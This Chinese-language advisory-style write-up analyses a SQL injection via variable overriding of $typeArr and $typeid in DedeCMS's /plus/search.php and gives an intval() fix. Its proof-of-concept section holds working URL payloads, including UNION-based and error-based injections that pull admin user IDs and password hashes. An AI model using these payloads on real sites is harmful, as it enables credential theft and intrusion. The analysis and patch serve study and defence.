dedecms /plus/search.php SQL Injection && Local Variable Overriding

catalog

. 漏洞描述

. 漏洞触发条件

. 漏洞影响范围

. 漏洞代码分析

. 防御方法

. 攻防思考

1. 漏洞描述

这个文件有两处注入漏洞

. $typeid变量覆盖导致ChannelTypeid被强制改变: 低风险

. $typeArr的本地变量覆盖注入+$typeid变量覆盖导致SQL注入: 高风险

Relevant Link:

http://graysb.diandian.com/post/2013-03-10/40049018798

http://0day5.com/archives/341

2. 漏洞触发条件

0x1: POC1

http://dede/plus/search.php?typeid=1&keyword=test

/*

在请求的时候URL中要带上keyword，因为在search.php中有对keyword的检测

if(($keyword=='' || strlen($keyword)<2) && empty($typeid))

{

    ShowMsg('关键字不能小于2个字节！','-1');

    exit();

}

*/

0x2: POC2

http://localhost/dede/plus/search.php?typeArr[1%201%3d2union%20select%20pwd%20from%20dede_admin]=11&kwtype=0&q=11

//$typeArr的键本身是payload，keyword要和这个键的值相同

0x3: Safe Alert: Request Error step 2 !

xx.com/plus/search.php?keyword=as&typeArr[%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

0x4: Safe Alert: Request Error step 1 !

xx.com/plus/search.php?keyword=as&typeArr[%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

Relevant Link:

http://zone.wooyun.org/content/2414

3. 漏洞影响范围
4. 漏洞代码分析

0x1: $typeid变量覆盖导致ChannelTypeid被强制改变

\plus\search.php

..

$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : ;

..

$sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);

..

\include\arc.searchview.class.php

...

//php5构造函数

function __construct($typeid,$keyword,$orderby,$achanneltype="all", $searchtype='',$starttime=,$upagesize=,$kwtype=,$mid=)

{

    global $cfg_search_max,$cfg_search_maxrc,$cfg_search_time;

    if(empty($upagesize))

    {

        $upagesize = ;

    }

    //直接赋值

    $this->TypeID = $typeid;

    ..

}

..

0x2: $typeArr的本地变量覆盖注入+$typeid变量覆盖导致SQL注入

\plus\search.php

//查找栏目信息

if(empty($typeid))

{

    ...

    //引入栏目缓存并看关键字是否有相关栏目内容

    require_once($typenameCacheFile);

    //黑客通过本地变量覆盖漏洞改变$typeArr变量的值，进入if判断逻辑

    if(isset($typeArr) && is_array($typeArr))

    {

        //1. 遍历这个全局数组$typeArr，从中取出键值对

        foreach($typeArr as $id => $typename)

        {

            /*

            2.    从我们输入的关键字参数$keyword中删除这个全局数组($typeArr)中出现过的值，也就是说，这个$typeArr本来是充当一个敏感关键字的数组的作用

            3.    注意，str_replace()返回的是替换后的数组或者字符串

            4.    如果检测到了我们规定的关键字($typeArr中保存的值)出现在了我们输出的$keyword参数中，就进行过滤并删除

            */

            $keywordn = str_replace($typename, ' ', $keyword);

            if($keyword != $keywordn)

            {

                $keyword = $keywordn;

                //5. 但是在过滤的过程中，却发生了另一个本地变量覆盖，$typeid这个变量会被"直接"带入到后续的SQL查询中

                $typeid = $id;

                break;

            }

        }

    }

}

\include\arc.searchview.class.php

function __construct($typeid,$keyword,$orderby,$achanneltype="all", $searchtype='',$starttime=,$upagesize=,$kwtype=,$mid=)

{

        ..

        $this->TypeID = $typeid;

        ...

        else

        {

        //将可能包含黑客注入畸形字符的$this->TypeID直接带入SQL查询

        $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");

        $this->ChannelTypeid=$row['channeltype'];

        }

    ..

}

..

这种注入是利用了数组的键进行了注入

Relevant Link:

http://www.2cto.com/Article/201301/184105.html

5. 防御方法

\plus\search.php

//查找栏目信息

if(empty($typeid))

{

    ..

    if($keyword != $keywordn)

    {

        $keyword = HtmlReplace($keywordn);

        //对键值$id进行规范化处理

        $typeid = intval($id);

        break;

    }

    ..

}

..

//对$typeid进行规范化处理

$typeid = intval($typeid);

..

6. 攻防思考

秒客网

dedecms /plus/search.php SQL Injection && Local Variable Overriding

相关文章